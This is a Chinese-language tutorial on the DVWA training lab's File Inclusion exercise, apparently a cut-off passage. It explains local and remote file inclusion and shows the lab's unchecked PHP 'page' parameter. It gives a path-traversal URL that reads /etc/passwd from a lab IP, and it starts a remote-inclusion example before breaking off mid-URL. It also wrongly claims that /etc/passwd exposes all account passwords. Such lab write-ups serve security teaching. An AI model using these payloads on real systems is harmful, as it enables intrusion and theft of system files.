File Inclusion--文件包含漏洞

一、简介

为了提高代码的复用性，开发人员往往将业务功能封装成模块放入一个文件中，需要的时候包含对应的文件即可。如果包含者为对被包含的文件进行检查，那么很有可能造成灾难性的后果。
File Inclusion分为LFI(Local File Inclusion，本地文件包含）和RFI（Remote File Inclusion，远程文件包含），LFI指使用文件包含函数包含执行本地（Web应用所在主机）文件，利用LFI可以查看系统任意文件内容，如果具备一些条件，也可以执行命令；RFI需要一定的条件，以PHP应用来说，当且仅当php.ini的配置选项allow_url_fopen和allow_url_include为ON的话，则文件包含函数是可以加载远程文件的，利用RFI可以直接执行任意命令。

二、Low

1、服务器端代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

2、漏洞分析
可以看到，服务端是通过get方法获取参数，且并未对“page”参数做任何检查和处理，所以我们可以直接构造url，读取服务器上的文件或者包含远程文件。
3、漏洞利用

• LFI
  构造url: “http://192.168.0.114/DVWA/vulnerabilities/fi/?page=…/…/…/…/…/…/etc/passwd”,输入至地址栏，可以读取到服务器端所有账户的密码，可见危害之大。
  

• RFI：
  在另外一个服务器(192.168.0.133)上传文件phpinfo.php,内容如下：
  
  构建url “http://192.168.0.114/DVWA/